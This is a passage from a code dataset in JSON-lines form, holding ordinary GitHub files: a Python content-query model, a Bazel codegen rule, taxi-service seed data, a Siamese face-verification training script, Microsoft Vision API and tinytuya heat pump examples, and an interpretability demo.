LOGIC_FUNCTIONS[logic_function]\n self.value = value\n\n def check(self, obj):\n value = self.value\n\n if isinstance(value, F):\n value = obj[value.name]\n\n try:\n return self.logic_function(obj[self.field_name], value)\n\n except TypeError:\n return False\n\n\nclass Q:\n def __init__(self, *qs, **lookups):\n self.connector = 'AND'\n self.negated = False\n self.qs = None\n self.lookups = None\n\n if not qs and not lookups:\n raise TypeError('to few arguments')\n\n if qs and lookups:\n raise TypeError('to many arguments')\n\n if not lookups and len(qs) == 1 and isinstance(qs[0], dict):\n lookups = qs[0]\n qs = []\n\n if qs:\n self.qs = qs\n\n if lookups:\n self.lookups = []\n\n for name, value in lookups.items():\n self.lookups.append(Lookup(name, value))\n\n def __repr__(self):\n if self.qs:\n repr_str = ', '.join([\n repr(q) for q in self.qs\n ])\n\n elif self.lookups:\n repr_str = ', '.join([\n '{}={}'.format(i.name, repr(i.value)) for i in self.lookups\n ])\n\n return '<{}{}({})>'.format(\n 'NOT ' if self.negated else '',\n self.connector,\n repr_str,\n )\n\n def __or__(self, other):\n q = Q(self, other)\n q.connector = 'OR'\n\n return q\n\n def __and__(self, other):\n return Q(self, other)\n\n def __invert__(self):\n self.negated = not self.negated\n\n return self\n\n def check(self, obj):\n result = None\n\n # Q objects\n if self.qs:\n for q in self.qs:\n result = q.check(obj)\n\n if result:\n if self.connector == 'OR':\n break\n\n else:\n if self.connector == 'AND':\n break\n\n # keyword lookups\n elif self.lookups:\n for lookup in self.lookups:\n result = lookup.check(obj)\n\n if result:\n if self.connector == 'OR':\n break\n\n else:\n if self.connector == 'AND':\n break\n\n if self.negated:\n result = not result\n\n return result\n\n\nclass Content:\n def __init__(self, **data):\n self.data = data\n\n def __repr__(self, pretty=True, recursion_stack=None):\n if pretty:\n from flamingo.core.utils.pprint import pformat\n\n return pformat(self)\n\n recursion_stack = recursion_stack or []\n repr_string = []\n\n recursion_stack.append(self)\n\n for k, v in self.data.items():\n if k in QUOTE_KEYS:\n repr_string.append('{}={}'.format(k, quote(v)))\n\n elif isinstance(v, (Content, ContentSet)):\n if v in recursion_stack:\n repr_string.append('{}={}'.format(k, quote(v)))\n\n else:\n repr_string.append(\n '{}={}'.format(\n k, v.__repr__(pretty=pretty,\n recursion_stack=recursion_stack)))\n\n else:\n repr_string.append('{}={}'.format(k, repr(v)))\n\n return ''.format(', '.join(repr_string))\n\n def __getitem__(self, key):\n if key in self.data:\n return self.data[key]\n\n return None\n\n def __setitem__(self, key, item):\n return_value = self.data.__setitem__(key, item)\n\n return return_value\n\n def __contains__(self, key):\n return key in self.data\n\n def get(self, *args, **kwargs):\n return self.data.get(*args, **kwargs)\n\n\nclass ContentSet:\n def __init__(self, contents=None, query=None):\n self.contents = contents or []\n self._query = query\n\n @property\n def query(self):\n return self._query\n\n def add(self, *args, **kwargs):\n for arg in args:\n if isinstance(arg, Content):\n self.contents.append(arg)\n\n elif isinstance(arg, dict):\n self.contents.append(Content(**arg))\n\n if kwargs:\n self.contents.append(Content(**kwargs))\n\n def _filter(self, negated, *args, **kwargs):\n if not kwargs and len(args) == 1 and isinstance(args[0], dict):\n query = Q(**args[0])\n\n else:\n query = Q(*args, **kwargs)\n\n if negated:\n query = ~query\n\n content_set = self.__class__(\n query=self.query & query if self.query else query)\n\n for content in self.contents:\n if query.check(content):\n content_set.add(content)\n\n return content_set\n\n def filter(self, *args, **kwargs):\n return self._filter(False, *args, **kwargs)\n\n def exclude(self, *args, **kwargs):\n return self._filter(True, *args, **kwargs)\n\n def get(self, *args, **kwargs):\n if args or kwargs:\n contents = self.filter(*args, **kwargs)\n\n else:\n contents = self\n\n if len(contents) > 1:\n raise MultipleObjectsReturned(query=contents.query)\n\n if len(contents) < 1:\n raise ObjectDoesNotExist(query=contents.query)\n\n return contents[0]\n\n def exists(self):\n if len(self.contents) > 0:\n return True\n\n return False\n\n def first(self):\n if len(self.contents) < 1:\n raise ObjectDoesNotExist(query=self.query)\n\n return self.contents[0]\n\n def last(self):\n if len(self.contents) < 1:\n raise ObjectDoesNotExist(query=self.query)\n\n return self.contents[-1]\n\n def values(self, *field_names):\n return_values = []\n\n for content in self:\n return_values.append(tuple())\n\n for field_name in field_names:\n return_values[-1] += (content[field_name], )\n\n if len(field_names) == 1:\n if return_values[-1][0] is None:\n return_values.pop()\n\n else:\n return_values[-1] = return_values[-1][0]\n\n if len(field_names) == 1:\n dirty_return_values = return_values\n return_values = []\n\n for i in dirty_return_values:\n if i not in return_values:\n return_values.append(i)\n\n return return_values\n\n def order_by(self, field_name):\n reverse = False\n\n if field_name.startswith('-'):\n field_name = field_name[1:]\n reverse = True\n\n return self.__class__(\n contents=sorted(\n self.contents,\n key=lambda x: (x[field_name] is None, x[field_name]),\n reverse=reverse,\n )\n )\n\n def count(self):\n return len(self.contents)\n\n def __len__(self):\n return self.contents.__len__()\n\n def __getitem__(self, key):\n contents = self.contents.__getitem__(key)\n\n if isinstance(key, slice):\n contents = self.__class__(contents=contents)\n\n return contents\n\n def __iter__(self):\n return self.contents.__iter__()\n\n def __repr__(self, pretty=True, recursion_stack=None):\n if pretty:\n from flamingo.core.utils.pprint import pformat\n\n return pformat(self)\n\n repr_strings = []\n recursion_stack = recursion_stack or []\n\n recursion_stack.append(self)\n\n for content in self.contents:\n repr_strings.append(\n content.__repr__(pretty=pretty,\n recursion_stack=recursion_stack))\n\n return ''.format(', '.join(repr_strings))\n\n def __add__(self, other):\n if not isinstance(other, (ContentSet, Content)):\n raise TypeError(\"unsupported operand type(s) for '+'\")\n\n if isinstance(other, Content):\n return ContentSet(contents=self.contents+[other])\n\n else:\n return ContentSet(contents=self.contents+other.contents)\n\n def __iadd__(self, other):\n if not isinstance(other, (ContentSet, Content)):\n raise TypeError(\"unsupported operand type(s) for '+='\")\n\n if isinstance(other, Content):\n self.add(other)\n\n else:\n self.add(other.contents)\n\n return self\n\n def __sub__(self, other):\n if not isinstance(other, (ContentSet, Content)):\n raise TypeError(\"unsupported operand type(s) for '-'\")\n\n content_set = ContentSet(contents=self.contents)\n\n if isinstance(other, Content):\n content_set.contents.remove(other)\n\n else:\n for content in other.contents:\n content_set.contents.remove(content)\n\n return content_set\n\n def __isub__(self, other):\n if not isinstance(other, (ContentSet, Content)):\n raise TypeError(\"unsupported operand type(s) for '-='\")\n\n if isinstance(other, Content):\n self.contents.remove(other)\n\n else:\n for content in other.contents:\n self.contents.remove(content)\n\n return self\n","repo_name":"pengutronix/flamingo","sub_path":"flamingo/core/data_model.py","file_name":"data_model.py","file_ext":"py","file_size_in_byte":11258,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"} +{"seq_id":"17469347161","text":"def _impl(ctx):\n ctx.actions.run(\n inputs = ctx.files.header_template + ctx.files.source_template,\n outputs = [\n ctx.outputs.header_output,\n ctx.outputs.source_output,\n ],\n executable = ctx.executable.code_gen,\n arguments = [\n \"--header_template\",\n ctx.files.header_template[0].path,\n \"--header_output\",\n ctx.outputs.header_output.path,\n \"--source_template\",\n ctx.files.source_template[0].path,\n \"--source_output\",\n ctx.outputs.source_output.path,\n ],\n )\n\n_codegen = rule(\n attrs = {\n \"code_gen\": attr.label(\n cfg = \"host\",\n executable = True,\n mandatory = True,\n ),\n \"header_output\": attr.output(\n doc = \"Generated header\",\n mandatory = True,\n ),\n \"header_template\": attr.label(\n allow_single_file = True,\n doc = \"Header template\",\n mandatory = True,\n ),\n \"source_template\": attr.label(\n allow_single_file = True,\n doc = \"Source template\",\n mandatory = True,\n ),\n \"source_output\": attr.output(\n doc = \"Generated source\",\n mandatory = True,\n ),\n },\n implementation = _impl,\n)\n\ndef cc_gen_library(\n library_name,\n code_gen,\n header_template,\n source_template,\n deps = [],\n **kwargs):\n \"\"\"Generate a cc_library given a codegen tool and templates.\"\"\"\n\n # Stick with the convention that template files will be stripped of everything after the last '.'. So,\n # foo.cpp.template will become foo.cpp\n header_output = \".\".join(header_template.split(\".\")[:-1])\n source_output = \".\".join(source_template.split(\".\")[:-1])\n _codegen(\n name = library_name + \"_codegen\",\n code_gen = code_gen,\n header_output = header_output,\n header_template = header_template,\n source_output = source_output,\n source_template = source_template,\n visibility = [],\n )\n\n # Create a cc_library with `library_name` as the name (which can be referred to by targets that need to depend on\n # the library built from the generated code)\n native.cc_library(\n name = library_name,\n hdrs = [header_output],\n srcs = [source_output],\n deps = deps,\n **kwargs\n )\n","repo_name":"hazelnusse/bazel_codegen","sub_path":"codegen.bzl","file_name":"codegen.bzl","file_ext":"bzl","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"17891537283","text":"models = [\n ('Cobalt', 'taxi', 'comfort'),\n ('Gentra', 'taxi', 'comfort'),\n ('Lacetti', 'taxi', 'comfort'),\n ('Nexia 1', 'taxi', 'standard'),\n ('Nexia 2', 'taxi', 'standard'),\n ('Nexia 3', 'taxi', 'standard'),\n ('Malibu 1', 'taxi', 'comfort'),\n ('Captiva', 'taxi', 'comfort'),\n ('Malibu 2', 'taxi', 'comfort'),\n ('Matiz', 'taxi', 'standard'),\n ('Spark', 'taxi', 'standard'),\n ('Epica', 'taxi', 'comfort'),\n ('Lada', 'taxi', 'standard'),\n ('Иномарка', 'taxi', 'comfort'),\n\n ('Labo', 'truck', 'small'),\n ('Муравейник', 'truck', 'small'),\n ('Волга', 'truck', 'small'),\n ('Жигули', 'truck', 'small'),\n ('Москвич', 'truck', 'small'),\n ('Другое', 'truck', 'small'),\n\n\n ('KIA Bongo 3', 'truck', 'medium'),\n ('Газель', 'truck', 'medium'),\n ('УАЗ бортовой', 'truck', 'medium'),\n ('Другое', 'truck', 'medium'),\n\n ('Isuzu', 'truck', 'big'),\n ('ЗиЛ', 'truck', 'big'),\n ('Камаз', 'truck', 'big'),\n ('Другое', 'truck', 'big'),\n\n]\n\ncar_subtype = [\n ('taxi', 'standard', '🚕 Стандарт', '🚕 Стандарт', '🚕 Стандарт', 500, 2000, 5000, 0.5, 3),\n ('taxi', 'comfort', '🚙 Комфорт', '🚙 Комфорт', '🚙 Комфорт', 500, 2500, 7000, 0.5, 5),\n\n\n ('truck', 'small', '🚐 Маленький кузов', '🚐 Маленький кузов', '🚐 Маленький кузов', 1000, 5000, 10000, 1, 15),\n ('truck', 'medium', '🚚 Средний кузов', '🚚 Средний кузов', '🚚 Средний кузов', 1000, 6000, 12000, 1, 15),\n ('truck', 'big', '🚛 Большой кузов', '🚛 Большой кузов', '🚛 Большой кузов', 1000, 7000, 15000, 1, 15),\n\n ('delivery', 'delivery', '📦 Доставка', '📦 Доставка', '📦 Доставка', 500, 2000, 5000, 0.5, 3),\n]\n\n\ncolors = [\n ('Белый', 'Белый', 'Белый'),\n ('Черный', 'Черный', 'Черный'),\n ('Серебристый', 'Серебристый', 'Серебристый'),\n ('Темно-серый', 'Темно-серый', 'Темно-серый'),\n ('Молочный', 'Молочный', 'Молочный'),\n ('Вишневый', 'Вишневый', 'Вишневый'),\n ('Желтый', 'Желтый', 'Желтый'),\n ('Красный', 'Красный', 'Красный'),\n ('Зеленый', 'Зеленый', 'Зеленый'),\n ('Синий', 'Синий', 'Синий'),\n ('Голубой', 'Голубой', 'Голубой'),\n]\ntariffs = [\n\n (25000, None, '🟡 Минимальный', '🟡 Минимальный', '🟡 Минимальный', 3),\n (50000, 58000, '🟢 Стандартный', '🟢 Стандартный', '🟢 Стандартный', 7),\n (140000, 250000, '🔵 Выгодный', '🔵 Выгодный', '🔵 Выгодный', 30),\n]\nspots = [\n ({\"latitude\": 38.81125, \"longitude\": 65.774853}, \"АЭРОПОРТ\", \"АЭРОПОРТ\", \"АЭРОПОРТ\"),\n\n ({\"latitude\": 38.841743, \"longitude\": 65.801451}, \"3-МКР\", \"3-МКР\", \"3-МКР\"),\n ({\"latitude\": 38.83377, \"longitude\": 65.788563}, \"4-5-6 МКР\", \"4-5-6 МКР\", \"4-5-6 МКР\"),\n ({\"latitude\": 38.833833, \"longitude\": 65.780674}, \"7-МКР\", \"7-МКР\", \"7-МКР\"),\n\n ({\"latitude\": 38.827637, \"longitude\": 65.81162}, \"8-МКР\", \"8-МКР\", \"8-МКР\"),\n ({\"latitude\": 38.876198, \"longitude\": 65.80282}, \"АНХОР\", \"АНХОР\", \"АНХОР\"),\n ({\"latitude\": 38.838299, \"longitude\": 65.829776}, \"АРОЛОВУЛ\", \"АРОЛОВУЛ\", \"АРОЛОВУЛ\"),\n\n ({\"latitude\": 38.84465, \"longitude\": 65.781843}, \"ГЕОЛОГ\", \"ГЕОЛОГ\", \"ГЕОЛОГ\"),\n ({\"latitude\": 38.855866, \"longitude\": 65.79884}, \"ГОР ГАЗ\", \"ГОР ГАЗ\", \"ГОР ГАЗ\"),\n ({\"latitude\": 38.849963, \"longitude\": 65.821115}, \"ЖАЙХУН\", \"ЖАЙХУН\", \"ЖАЙХУН\"),\n\n ({\"latitude\": 38.823058, \"longitude\": 65.780733}, \"ВОКЗАЛ\", \"ВОКЗАЛ\", \"ВОКЗАЛ\"),\n ({\"latitude\": 38.860714, \"longitude\": 65.779826}, \"ГЕЗ\", \"ГЕЗ\", \"ГЕЗ\"),\n ({\"latitude\": 38.860732, \"longitude\": 65.763598}, \"КАМАНДИ\", \"КАМАНДИ\", \"КАМАНДИ\"),\n\n\n ({\"latitude\": 38.849476, \"longitude\": 65.839103}, \"ДЕТСКАЯ БОЛЬНИЦА\", \"ДЕТСКАЯ БОЛЬНИЦА\", \"ДЕТСКАЯ БОЛЬНИЦА\"),\n ({\"latitude\": 38.850972, \"longitude\": 65.811459}, \"ЁГДУ ЧОЙХОНА\", \"ЁГДУ ЧОЙХОНА\", \"ЁГДУ ЧОЙХОНА\"),\n\n ({\"latitude\": 38.865524, \"longitude\": 65.818088}, \"КАРШИ ЧОЙХОНА\", \"КАРШИ ЧОЙХОНА\", \"КАРШИ ЧОЙХОНА\"),\n ({\"latitude\": 38.873499, \"longitude\": 65.777699}, \"КИЗИЛ МАЧИТ\", \"КИЗИЛ МАЧИТ\", \"КИЗИЛ МАЧИТ\"),\n\n ({\"latitude\": 38.816815, \"longitude\": 65.786839}, \"МАСЛО ЗАВОД\", \"МАСЛО ЗАВОД\", \"МАСЛО ЗАВОД\"),\n ({\"latitude\": 38.809699, \"longitude\": 65.810767}, \"МАШИНА БОЗОР\", \"МАШИНА БОЗОР\", \"МАШИНА БОЗОР\"),\n\n ({\"latitude\": 38.860577, \"longitude\": 65.836494}, \"КАМСАМОЛ\", \"КАМСАМОЛ\", \"КАМСАМОЛ\"),\n ({\"latitude\": 38.877756, \"longitude\": 65.814664}, \"МУЖИЗА\", \"МУЖИЗА\", \"МУЖИЗА\"),\n ({\"latitude\": 38.834093, \"longitude\": 65.800828}, \"ПАХТАЗОР\", \"ПАХТАЗОР\", \"ПАХТАЗОР\"),\n\n ({\"latitude\": 38.829884, \"longitude\": 65.795279}, \"ОРЗУ БАЗАР\", \"ОРЗУ БАЗАР\", \"ОРЗУ БАЗАР\"),\n ({\"latitude\": 38.845671, \"longitude\": 65.768203}, \"МЕХАНИЗАТОР\", \"МЕХАНИЗАТОР\", \"МЕХАНИЗАТОР\"),\n\n ({\"latitude\": 38.888673, \"longitude\": 65.809147}, \"СОХИЛ\", \"СОХИЛ\", \"СОХИЛ\"),\n ({\"latitude\": 38.829015, \"longitude\": 65.746568}, \"СПУТНИК\", \"СПУТНИК\", \"СПУТНИК\"),\n ({\"latitude\": 38.903862, \"longitude\": 65.789631}, \"УЗУН НАВО\", \"УЗУН НАВО\", \"УЗУН НАВО\"),\n\n ({\"latitude\": 38.870585, \"longitude\": 65.800643}, \"ЭСКИ Ш. ПАСИ\", \"ЭСКИ Ш. ПАСИ\", \"ЭСКИ Ш. ПАСИ\"),\n ({\"latitude\": 38.869335, \"longitude\": 65.802992}, \"ЭСКИ Ш. ТЕПА\", \"ЭСКИ Ш. ТЕПА\", \"ЭСКИ Ш. ТЕПА\"),\n\n ({\"latitude\": 38.851231, \"longitude\": 65.792283}, \"ЦУМ\", \"ЦУМ\", \"ЦУМ\"),\n ({\"latitude\": 38.851663, \"longitude\": 65.788434}, \"ЯНГИ БОЗОР\", \"ЯНГИ БОЗОР\", \"ЯНГИ БОЗОР\"),\n\n\n]\n","repo_name":"KDF25/taxi_karshi","sub_path":"database/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":6536,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3449177529","text":"import cv2\r\nimport os\r\nimport random\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\n# Import tensorflow dependencies - Functional API\r\nfrom keras.models import Model\r\nfrom keras.layers import Layer, Conv2D, Dense, MaxPooling2D, Input, Flatten\r\nimport tensorflow as tf\r\n\r\n# Import metric calculations\r\nfrom keras.metrics import Precision, Recall\r\n\r\n# TESTING WITHOUT USING GPUs AS THIS LAPTOP ONLY HAVE INTEGRATED GPUs \r\n# Avoid OOM errors by setting GPU Memory Consumption Growth\r\n#gpus = tf.config.experimental.list_physical_devices('GPU')\r\n#for gpu in gpus: \r\n #tf.config.experimental.set_memory_growth(gpu, True)\r\n #print(gpus)\r\n\r\n# Setup paths\r\nPOS_PATH = os.path.join('FaceRecog/tensorflow/data', 'positive')\r\nNEG_PATH = os.path.join('FaceRecog/tensorflow/data', 'negative')\r\nANC_PATH = os.path.join('FaceRecog/tensorflow/data', 'anchor')\r\n\r\n\r\n# LFW tar file download link: http://vis-www.cs.umass.edu/lfw/\r\n\r\n# move pictures from lfw folder to negative folder \r\n#for directory in os.listdir('FaceRecog/tensorflow/lfw'):\r\n# for file in os.listdir(os.path.join('FaceRecog/tensorflow/lfw', directory)):\r\n# EX_PATH = os.path.join('FaceRecog/tensorflow/lfw', directory, file)\r\n# NEW_PATH = os.path.join(NEG_PATH, file)\r\n# os.replace(EX_PATH, NEW_PATH)\r\n\r\n\r\nanchor = tf.data.Dataset.list_files(ANC_PATH+'\\*.jpg').take(20)\r\npositive = tf.data.Dataset.list_files(POS_PATH+'\\*.jpg').take(20)\r\nnegative = tf.data.Dataset.list_files(NEG_PATH+'\\*.jpg').take(20)\r\n\r\ndir_test = anchor.as_numpy_iterator()\r\n\r\ndef preprocess(file_path):\r\n \r\n # Read in image from file path\r\n byte_img = tf.io.read_file(file_path)\r\n # Load in the image \r\n img = tf.io.decode_jpeg(byte_img)\r\n \r\n # Preprocessing steps - resizing the image to be 100x100x3\r\n img = tf.image.resize(img, (100,100))\r\n # Scale image to be between 0 and 1 \r\n img = img / 255.0\r\n\r\n # Return image\r\n return img\r\n\r\n\r\n#dataset.map(preprocess)\r\n\r\npositives = tf.data.Dataset.zip((anchor, positive, tf.data.Dataset.from_tensor_slices(tf.ones(len(anchor)))))\r\nnegatives = tf.data.Dataset.zip((anchor, negative, tf.data.Dataset.from_tensor_slices(tf.zeros(len(anchor)))))\r\ndata = positives.concatenate(negatives)\r\n\r\nsamples = data.as_numpy_iterator()\r\nexampple = samples.next()\r\n#print(exampple)\r\n\r\ndef preprocess_twin(input_img, validation_img, label):\r\n return(preprocess(input_img), preprocess(validation_img), label)\r\n\r\nres = preprocess_twin(*exampple)\r\n#print(res)\r\n\r\n#plt.imshow(res[1])\r\n\r\n\r\n# Build dataloader pipeline\r\ndata = data.map(preprocess_twin)\r\ndata = data.cache()\r\ndata = data.shuffle(buffer_size=1024)\r\n\r\n# Training partition\r\ntrain_data = data.take(round(len(data)*.7))\r\ntrain_data = train_data.batch(16)\r\ntrain_data = train_data.prefetch(8)\r\n\r\n# Testing partition\r\ntest_data = data.skip(round(len(data)*.7))\r\ntest_data = test_data.take(round(len(data)*.3))\r\ntest_data = test_data.batch(16)\r\ntest_data = test_data.prefetch(8)\r\n\r\ndef make_embedding(): \r\n inp = Input(shape=(100,100,3), name='input_image')\r\n \r\n # First block\r\n c1 = Conv2D(64, (10,10), activation='relu')(inp)\r\n m1 = MaxPooling2D(64, (2,2), padding='same')(c1)\r\n \r\n # Second block\r\n c2 = Conv2D(128, (7,7), activation='relu')(m1)\r\n m2 = MaxPooling2D(64, (2,2), padding='same')(c2)\r\n \r\n # Third block \r\n c3 = Conv2D(128, (4,4), activation='relu')(m2)\r\n m3 = MaxPooling2D(64, (2,2), padding='same')(c3)\r\n \r\n # Final embedding block\r\n c4 = Conv2D(256, (4,4), activation='relu')(m3)\r\n f1 = Flatten()(c4)\r\n d1 = Dense(4096, activation='sigmoid')(f1)\r\n \r\n \r\n return Model(inputs=[inp], outputs=[d1], name='embedding')\r\n\r\nembedding = make_embedding()\r\n#embedding.summary()\r\n\r\nclass L1Dist(Layer):\r\n \r\n # Init method - inheritance\r\n def __init__(self, **kwargs):\r\n super().__init__()\r\n \r\n # Magic happens here - similarity calculation\r\n def call(self, input_embedding, validation_embedding):\r\n return tf.math.abs(input_embedding - validation_embedding)\r\n \r\nl1 = L1Dist()\r\n\r\ndef make_siamese_model(): \r\n \r\n # Anchor image input in the network\r\n input_image = Input(name='input_img', shape=(100,100,3))\r\n \r\n # Validation image in the network \r\n validation_image = Input(name='validation_img', shape=(100,100,3))\r\n \r\n # Combine siamese distance components\r\n siamese_layer = L1Dist()\r\n siamese_layer._name = 'distance'\r\n distances = siamese_layer(embedding(input_image), embedding(validation_image))\r\n \r\n # Classification layer \r\n classifier = Dense(1, activation='sigmoid')(distances)\r\n \r\n return Model(inputs=[input_image, validation_image], outputs=classifier, name='SiameseNetwork')\r\n\r\nsiamese_model = make_siamese_model()\r\n\r\nbinary_cross_loss = tf.losses.BinaryCrossentropy()\r\nopt = tf.keras.optimizers.Adam(1e-4) # 0.0001\r\n\r\n#checkpoints\r\ncheckpoint_dir = './FaceRecog/tensorflow/training_checkpoints'\r\ncheckpoint_prefix = os.path.join(checkpoint_dir, 'ckpt')\r\ncheckpoint = tf.train.Checkpoint(opt=opt, siamese_model=siamese_model)\r\n\r\n#tests\r\ntest_batch = train_data.as_numpy_iterator()\r\nbatch_1 = test_batch.next()\r\n\r\n\r\n#training\r\ndef train_step(batch):\r\n \r\n # Record all of our operations \r\n with tf.GradientTape() as tape: \r\n # Get anchor and positive/negative image\r\n X = batch[:2]\r\n # Get label\r\n y = batch[2]\r\n \r\n # Forward pass\r\n yhat = siamese_model(X, training=True)\r\n # Calculate loss\r\n loss = binary_cross_loss(y, yhat)\r\n print(loss)\r\n \r\n # Calculate gradients\r\n grad = tape.gradient(loss, siamese_model.trainable_variables)\r\n \r\n # Calculate updated weights and apply to siamese model\r\n opt.apply_gradients(zip(grad, siamese_model.trainable_variables))\r\n \r\n # Return loss\r\n return loss\r\n\r\ndef train(data, EPOCHS):\r\n # Loop through epochs\r\n for epoch in range(1, EPOCHS+1):\r\n print('\\n Epoch {}/{}'.format(epoch, EPOCHS))\r\n progbar = tf.keras.utils.Progbar(len(data))\r\n \r\n # Creating a metric object \r\n r = Recall()\r\n p = Precision()\r\n \r\n # Loop through each batch\r\n for idx, batch in enumerate(data):\r\n # Run train step here\r\n loss = train_step(batch)\r\n yhat = siamese_model.predict(batch[:2])\r\n r.update_state(batch[2], yhat)\r\n p.update_state(batch[2], yhat) \r\n progbar.update(idx+1)\r\n print(f\"loss {loss.numpy()}, recall {r.result().numpy()}, percision {p.result().numpy()}\")\r\n \r\n # Save checkpoints \r\n if epoch % 2 == 0: \r\n checkpoint.save(file_prefix=checkpoint_prefix)\r\n\r\n\r\nEPOCHS = 10\r\ntrain(train_data, EPOCHS)\r\n\r\n\r\n# Get a batch of test data\r\ntest_input, test_val, y_true = test_data.as_numpy_iterator().next()\r\ny_hat = siamese_model.predict([test_input, test_val])\r\n\r\nr = Recall()\r\np = Precision()\r\n\r\nfor test_input, test_val, y_true in test_data.as_numpy_iterator():\r\n yhat = siamese_model.predict([test_input, test_val])\r\n r.update_state(y_true, yhat)\r\n p.update_state(y_true,yhat) \r\n\r\nprint(r.result().numpy(), p.result().numpy())\r\n\r\nprint(y_true)\r\n\r\n# Set plot size \r\nplt.figure(figsize=(10,8))\r\n\r\n# Set first subplot\r\nplt.subplot(1,2,1)\r\nplt.imshow(test_input[0])\r\n\r\n# Set second subplot\r\nplt.subplot(1,2,2)\r\nplt.imshow(test_val[0])\r\n\r\n# Renders cleanly\r\nplt.show()\r\n\r\n# Save weights\r\nsiamese_model.save('siamesemodelinitialtesting.h5')","repo_name":"JaysM32/FaceRecog-Tensorflow","sub_path":"training-tensor.py","file_name":"training-tensor.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70599820521","text":"import httplib, urllib, base64, json, re\nfrom os import system\n\n\n# CHANGE {MS_API_KEY} BELOW WITH YOUR MICROSOFT VISION API KEY\nms_api_key = \"\"\n\n# setup vision API\nheaders = {\n 'Content-Type': 'application/octet-stream',\n 'Ocp-Apim-Subscription-Key': ms_api_key,\n}\n\nparams = urllib.urlencode({\n 'visualFeatures': 'Description',\n})\n\nprint('Analyze')\nbody = open('1.jpg', \"rb\").read()\nconn = httplib.HTTPSConnection('centralindia.api.cognitive.microsoft.com')\nconn.request(\"POST\", \"/vision/v1.0/analyze?%s\"%params, body, headers)\nresponse = conn.getresponse()\nanalysis = json.loads(response.read())\n#print(analysis)\ncaption_analysis = analysis[\"description\"][\"captions\"][0][\"text\"].capitalize()\nprint(caption_analysis)\n\nprint('Describe')\nconn.request(\"POST\", \"/vision/v1.0/describe?%s\"%params, body, headers)\nresponse0 = conn.getresponse()\nanalysis0 = json.loads(response0.read())\n#print(analysis0)\ncaption_describe = analysis0[\"description\"][\"captions\"][0][\"text\"].capitalize()\nprint(caption_describe)\n\nprint('OCR')\nconn.request(\"POST\", \"/vision/v1.0/ocr?%s\" % params, body, headers)\nresponse1 = conn.getresponse()\nanalysis1 = json.loads(response1.read())\nprint(analysis1)\nocr = analysis1[\"text\"].capitalize()\nprint(ocr)\n\nprint('Handwriting')\nconn.request(\"POST\", \"/vision/v1.0/recognizeText[?handwriting]%s\" % params, body, headers)\nresponse2 = conn.getresponse()\nanalysis2 = json.loads(response2.read())\nprint(analysis2)\n","repo_name":"growupboron/Obj-OCR","sub_path":"objdetect.py","file_name":"objdetect.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"42745235456","text":"# %%\nimport os\n\nfrom interp.ui.attribution_backend import AttributionBackend\nfrom interp.ui.attribution_backend_comp import LayerType\nfrom interp.ui.very_named_tensor import VeryNamedTensor\nfrom interp.model.gpt_model import Gpt\nfrom interp.model.model_loading import load_model\nfrom interp.tools.interpretability_tools import batch_tokenize, single_tokenize, toks_to_string_list\n\n# %%\n\nmodels_dir_local = os.path.expanduser(\"~/interp_models_jax\")\nmodel, params, tokenizer = load_model(\"gpt2/\", models_dir=models_dir_local)\n# model, params, tokenizer = load_model(\"gpt2_jax/\", models_dir=models_dir_local)\nmodel: Gpt = model\n\n# %%\ns = '[BEGIN] \"I love Mrs. Dursley. I don\\'t sleep right,\" Harry said. He waved his hands helplessly. \"Mrs. Dursley\\'s sleep cycle is twenty-six hours long, I always go to sleep two hours later, every day.'\n# s = \"[BEGIN] The office of the Deputy Headmistress was clean and well-organised; on the wall immediately adjacent to the desk was a maze of wooden cubbyholes of all shapes and sizes, most with several parchment scrolls thrust into them, and it was somehow very clear that Professor McGonagall knew exactly what every cubbyhole meant, even if no one else did. A single parchment lay on the actual desk, which was, aside from that, clean. Behind the desk was a closed door barred with several locks. In Hogwarts\"\nbackend = AttributionBackend(model, params, tokenizer, s)\nnew_seq = batch_tokenize([s])\n\n# %%\n\nseq_idx = 30\nprint(toks_to_string_list(new_seq[0])[seq_idx])\ntarget_tok_str = \"ley\"\n\n# %%\n\n(new_seq == single_tokenize(target_tok_str)).nonzero()\n# %%\n\nvnt_start = backend.startTree(\n {\"kind\": \"logprob\", \"data\": {\"seqIdx\": seq_idx, \"tokString\": target_tok_str, \"comparisonTokString\": None}},\n False,\n False,\n)\nassert isinstance(vnt_start[\"heads\"], VeryNamedTensor)\nvnt_start[\"heads\"][0, :, :, seq_idx]\n\n# %%\nnodes, node_attribs, _ = backend.searchAttributionsFromStart(0.00001)\n# %%\nedges = backend.getAttributionInMask(10, use_neg=True)\nedges\n# %%\n","repo_name":"redwoodresearch/interp","sub_path":"interp/demos/attribution_search_demo.py","file_name":"attribution_search_demo.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"29115024353","text":"import tinytuya\n\n#Example to control the Lyfco Heatpump HP050-DC-W to only heater mode and maybe also HP030-DC-W device\n#You need ID, IP adress and LocalKey \n#d = tinytuya.OutletDevice('xxxxxxxxxxxxxxxxxxxx', '192.168.x.xxx', 'xxxxxxxxxxxxxxxx')\n\nd = tinytuya.OutletDevice('xxxxxxxxxxxxxxxxxxxx', '192.168.x.xxx', 'xxxxxxxxxxxxxxxx')\n\nd.set_version(3.3)\ndata = d.status() \nd.set_socketPersistent(True) \nprint('set_status() result %r' % data)\nd.set_value(4,'hot')\n\n","repo_name":"ollewelin/Raspberry-pi-QT-GUI-with-DS18B20-temperature-sensor-and-PID-controller","sub_path":"example_heatpump_command Lyfco Heatpump HP050-DC-W/example_set_command_hot.py","file_name":"example_set_command_hot.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"3749922144","text":"# -*- coding: utf-8 -*-\n\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef moving_average(a,w=10):\n if len(a)', 